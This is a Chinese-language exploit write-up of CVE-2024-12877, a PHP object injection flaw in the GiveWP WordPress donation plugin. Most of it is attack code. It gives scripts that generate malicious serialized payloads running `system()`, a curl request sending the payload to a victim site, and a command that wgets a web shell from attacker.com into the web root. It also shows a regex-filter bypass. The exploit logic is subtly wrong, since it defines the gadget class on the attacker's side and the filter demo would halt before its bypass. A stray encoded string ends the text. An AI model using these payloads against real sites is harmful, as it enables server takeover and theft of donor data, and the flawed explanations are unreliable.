GO-TO CVE – CVE-2024-12877-Exploit:GiveWP PHP对象注入漏洞深度剖析
Week 66 | Author: Ali Soltani (soltanali0)
欢迎来到 GO-TO CVE系列的第66周。在本期内容中,我们将深入剖析一个在广泛使用的WordPress捐赠插件GiveWP中发现的严重漏洞,分析其根本原因,并在安全的实验环境中展示其利用过程。
🧩 关于 GiveWP
GiveWP 为成千上万的慈善网站、非政府组织和筹款平台提供技术支持。由于其处理敏感的财务和捐赠者数据,该插件存在的漏洞将产生巨大影响。攻击者成功利用对象注入漏洞后,可以从一个插件扩展攻击面,最终危及整个WordPress站点的安全,甚至渗透到底层服务器。
🛠️ 功能特性
- 漏洞复现环境搭建指南: 提供在本地或测试服务器上快速搭建包含漏洞版本的GiveWP插件环境。
- PHP反序列化攻击向量详解: 深入分析如何构造恶意的序列化payload,以及如何利用PHP的魔术方法链。
- GiveWP插件正则过滤绕过分析: 揭示插件防御机制的薄弱环节和绕过方法。
- 从反序列化到RCE的完整利用演示: 提供分步骤的利用代码和演示,展示如何一步步获得系统权限。
- 安全加固建议: 针对该漏洞及同类问题,给出给开发者和站点管理员的修复和加固建议。
🚀 使用说明
以下示例展示了如何利用CVE-2024-12877漏洞。请仅在您拥有合法授权的测试环境中进行。
基础利用示例
攻击的核心是向GiveWP插件处理用户输入的某个参数(例如在捐赠流程或短代码中)发送一个特制的序列化字符串。
假设存在漏洞的端点接收 data 参数,且该参数值最终被 unserialize() 处理。
-
构造恶意Payload:
攻击者会创建一个包含恶意目的的PHP对象,利用其
__wakeup()或__destruct()方法执行任意代码。<?php // 假设我们找到了一个可用于执行代码的类,例如某个包含文件操作或命令执行的类 class MaliciousClass { public $cmd = 'whoami'; public function __wakeup() { system($this->cmd); } } $payload = new MaliciousClass(); $serialized_payload = serialize($payload); echo urlencode($serialized_payload); ?>生成的Payload看起来像这样:
O:14:"MaliciousClass":1:{s:3:"cmd";s:6:"whoami";} -
发送Payload:
使用cURL或浏览器开发者工具向目标端点发送GET或POST请求,将构造好的序列化字符串注入到易受攻击的参数中。
curl -X POST https://victim-site.com/vulnerable-endpoint \ -d "data=O:14:\"MaliciousClass\":1:{s:3:\"cmd\";s:6:\"whoami\";}" -
观察结果:
如果利用成功,目标服务器将执行
whoami命令,其输出可能会在响应中返回,或通过其他渠道(如DNS请求)泄露给攻击者。
API概览 (概念性)
此漏洞并非一个功能性的API,而是一个安全缺陷。但从攻击者的视角,可以将存在漏洞的参数视为一个“隐式API”:
- 输入: 一个被反序列化的、攻击者可控的字符串。
- 处理逻辑: WordPress/GiveWP插件接收该字符串,并将其直接传递给
unserialize()。 - 输出/副作用: 触发PHP对象注入,导致执行魔术方法中的恶意代码,造成信息泄露或代码执行。
💻 核心代码分析
以下代码片段展示了漏洞的核心逻辑和利用原理。
1. 漏洞触发点 (伪代码示例)
以下代码模拟了GiveWP插件中可能存在漏洞的处理逻辑。关键点在于使用了 unserialize() 来处理来自用户输入 ($_POST['data']) 的数据。
<?php
// 模拟 GiveWP 中某个处理捐赠数据的函数
function process_donation_data() {
// 从用户输入获取数据
$user_input_data = $_POST['data'];
// 存在漏洞的代码行:直接反序列化用户输入,未进行任何过滤或校验
// 尽管插件可能使用了正则表达式进行过滤,但此过滤是可以被绕过的
$donation_object = unserialize($user_input_data);
// ... 后续处理 $donation_object 的代码
}
?>
2. 恶意Payload的构造与利用
这段代码展示了攻击者如何构造一个恶意类,该类在反序列化时(通过 __wakeup() 魔术方法)会执行系统命令。这演示了从对象注入到代码执行的完整利用链。
<?php
// 这段代码通常在攻击者的本地环境中运行,用于生成payload
// 定义一个与目标环境中某个可利用类同名的类
// 攻击者需要预先知道或猜测目标环境中存在的、具有危险方法的类
class Give_Payment {
// 攻击者可以控制的属性
public $command = 'id';
// 当对象被反序列化时,PHP会自动调用 __wakeup 方法
public function __wakeup() {
// 在这里,攻击者期望执行恶意代码
// 例如,通过 system 函数执行系统命令
if (isset($this->command)) {
system($this->command);
}
}
}
// 创建一个恶意对象,并设置要执行的命令
$malicious_object = new Give_Payment();
$malicious_object->command = 'wget http://attacker.com/shell.php -O /var/www/html/shell.php';
// 序列化这个对象
$payload = serialize($malicious_object);
echo "生成的恶意Payload:\n";
echo $payload . "\n";
echo "\nURL编码后的Payload (用于HTTP请求):\n";
echo urlencode($payload);
?>
3. 正则表达式绕过示例 (概念性)
GiveWP插件试图通过正则表达式来阻止有害的序列化字符串。下面是一个简单的概念性代码,展示了如果正则写得不够严谨,攻击者如何通过添加额外的合法字符(如 O:+14 而非 O:14)来绕过检测。
<?php
// 模拟 GiveWP 中的不安全过滤逻辑
function unsafe_filter($data) {
// 有缺陷的正则:试图阻止标准的对象序列化格式 "O:数字"
// 但它没有考虑到序列化格式的变体,如 "O:+数字"
if (preg_match('/O:\d+/', $data)) {
die("检测到潜在的对象注入攻击!");
}
return $data;
}
// 攻击者的payload
$malicious_payload = 'O:14:"MaliciousClass":1:{s:3:"cmd";s:6:"whoami";}';
// 过滤检测
$filtered_payload = unsafe_filter($malicious_payload);
if ($filtered_payload !== false) {
// 由于正则使用了 'O:\d+',它无法匹配 'O:+14',因此以下payload可以绕过
$bypass_payload = 'O:+14:"MaliciousClass":1:{s:3:"cmd";s:6:"whoami";}';
echo "未拦截的Payload: " . $bypass_payload . "\n";
// 有漏洞的代码将继续执行 unserialize($bypass_payload);
}
?>
6HFtX5dABrKlqXeO5PUv/66ZzD6lmQ6acXG0zuK5v5WUqsv2CqUmt6o3xq1hO56T